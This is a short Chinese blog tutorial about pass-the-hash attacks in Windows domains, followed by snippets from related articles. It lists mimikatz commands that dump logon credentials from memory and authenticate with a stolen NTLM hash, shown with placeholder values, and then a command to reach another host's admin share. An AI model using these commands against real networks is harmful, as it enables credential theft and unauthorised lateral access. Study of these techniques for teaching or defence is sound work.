内网渗透之哈希传递原理

原创已于 2024-03-19 09:24:22 修改

· 544 阅读

8 ·

版权

文章标签：

#安全

于 2024-03-18 19:36:58 首次发布

内网渗透专栏收录该内容

3 篇文章

订阅专栏

博客介绍了哈希传递原理，还介绍了常用工具mimikatz。前提是拿下域内某主机管理员权限后运行该工具，给出了提权、获取登录信息等命令，最后说明按命令字加主机ip形式可进行操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一、哈希传递原理简介

二、常用工具mimikatz

前提：拿下域内某主机管理员权限，运行mimikatz

命令：

privilege::debug 提权

sekurlsa::logonpasswords 获取内存中保存的登录信息

sekurlsa::pth /user:administrator /domain:xxxx.com /ntlm:xxxxxxxxxxxxxxxxx

接下来只要按照如下命令字 + 主机ip的形式即可

dir \\xxx.xxx.xxx.xxx\c$

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

codeZMJ

关注关注

15
点赞
踩
8

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

内网渗透-Hash传递攻击

lza20001103的博客

10-01

1793

Hash传递攻击文章目录Hash传递攻击前言psexec模块前言今天给大家讲解一个知识点，Hash传递攻击，它是在不知道明文密码，只知道hash值的时候进行攻击的一种手段，会返回一个会话，且是system权限，但会遇到uac的问题，我们只要关闭uac就可以了。 psexec模块利用的前提是必须开放445端口首先，我们需要获得用户的hash值在kali中，不知道为什么hash值获取不了，我们cs上线来获取hash值 Administrator的hash值如下： aad3b435b51404eea

哈希传递攻击(Pass-the-Hash,PtH)

谢公子的博客

01-11

5353

目录哈希传递攻击 MSF进行哈希传递攻击PtH(工作组) MSF进行哈希传递攻击PtH(域) mimikatz进行哈希传递攻击PtH(工作组) mimikatz进行哈希传递攻击PtH(域) 使用AES进行哈希传递攻击(PTK,Pass The Key) 更新KB2871997补丁产生的影响哈希传递攻击哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们...

参与评论您还未登录，请先登录后发表或查看评论

域渗透之哈希传递攻击及其原理

把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....

12-09

2761

哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值，但是解不开明文。这时我们可以利用NTLM认证的一种缺陷，利用用户的密码哈希值来进行NTLM认证。在域环境中，大量计算机在安装时会使用相同的本地管理员账号和密码。因此，如果计算机的本地管理员账号密码相同，攻击者就能使用哈希传递攻击登录内网中的其他机器。在学习哈希传递攻击之前我们先来了解一下其背后的Windows 底层协议和原理。

内网横传之哈希传递（Pass The Hash）

11-25

8269

本文主要讲述如何使用msf 进行hash 传递以及遇到的一些问题

内网渗透——哈希传递

来日可期的博客

10-09

1720

哈希传递攻击（Pass The Hash）是基于 NTLM 认证缺陷的一种攻击方式，攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中，大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同，攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。

PTH哈希传递攻击

最新发布

Y22Lee的博客

05-23

1378

PTH(Pass The Hash)，中文叫哈希传递攻击，在NTLM和Kerberos认证中，都需要用到用户的NTLM-Hash值进行加密认证，所以我们知道了对方用户的NTLN-Hash值之后就可以使用PTH进行认证。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

内网渗透--哈希传递

m0_62202418的博客

11-28

1534

NTLM 协议主要用于在 Windows 网络环境中对用户进行身份验证，并且在许多企业网络中被广泛采用。哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术，比如NTLM Hash、 LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。早期SMB协议明文在网络上传输数据，后来诞生了LM验证机制，LM机制由于过于简单，微软提出了WindowsNT挑战/响应机制，这就是NTLM。4.sekurlsa::logonpasswords ，获取内存中保存的登录信息。/ntlm：获取的NTLM。

横向渗透之哈希传递(PTH)

qq_46258964的博客

05-08

2153

哈希传递PTH PTH，即Pass The Hash，通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中，用户登录计算机时使用的大都是域账号，大量计算机在安装时会使用相同的本地管理员账号和密码。因此，如果计算机的本地管理员账号和密码也是相同的，攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。 kb2871997，禁止了本地管理员进行远程连接，从而组织了管理员权限执行wmi，psexec等危险命令，但是这个补丁不知道为什么漏了一个默认（user SID=500）本

内网渗透哈希传递攻击

zzlx123的博客

12-18

1980

条件：获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ，并且该主机的445端口打开着，可利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和NTLM-hash)，这个利用跟工作组环境或者域环境无关。这个网站提供对密码转换成 LM-Hash 和 NTLM...

【渗透测试笔记】之【内网渗透——横向移动：使用mimikatz和CS进行哈希传递攻击】_cs 如何使用mimikatz

2401_84970989的博客

05-13

305

右键被控主机 —> Access —> Run Mimikatz。右键被控主机 —> Access —> Dump Hashes。

内网横向渗透之各种传递攻击

技术超强的网络安全平台

05-06

2443

内网横向渗透之各种传递攻击前言在前面一篇文章已经对内网信息收集做了详细介绍，所需要的内网环境也包含在那篇文章中，接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透。横向渗透在拿下一台内网主机后，利用既有的资源尝试获取更多的凭据、更高的权限，一步一步拿下更多的主机，进而达到控制整个内网、获取到最高权限、发动高级持续性威胁攻击的目的。我们掌握的方法越多，可能拿到的主机权限的机会就越大。利用PsExec工具进行横向渗透 PsExec 最强大的功能之一是在远程系统和远程支持

内网渗透 - 哈希传递攻击

LuckySec

06-06

2721

在内网渗透过程中，当获取到某个管理员用户的密码 hash 值却无法解密时，可以通过哈希传递攻击（Pass The Hash）对内网其他机器进行横向渗透。哈希传递攻击（Pass The Hash）是基于 NTLM 认证缺陷的一种攻击方式，攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中，大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同，攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。通过哈希传递攻击，攻击者不需要花时间破解密码哈希值来获取明文密码

总结HashMap实现原理分析

洞玄之境的博客

03-30

2万+

一、底层数据结构在JDK1.6，JDK1.7中，HashMap采用位桶+链表实现，即使用链表处理冲突,同一hash值的键值对会被放在同一个位桶里，当桶中元素较多时，通过key值查找的效率较低。而JDK1.8中，HashMap采用位桶+链表+红黑树实现，当链表长度超过阈值（8）,时，将链表转换为红黑树，这样大大减少了查找时间。二、HashMap的实现原理： JDK1.7中的Ha...

Windows NTLM Hash和Hash传递、Key传递攻击

weixin_30563917的博客

07-04

2109

Hash(Key) 获取工具： Mimikatz 用法： .\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash和明文密码（如果可以的话） sekurlsa::ekeys #获取kerberos加密凭证 Hash(Key)传递 Mimikatz sekurlsa::pth /user:xxxxxxx...

HashMap原理深入理解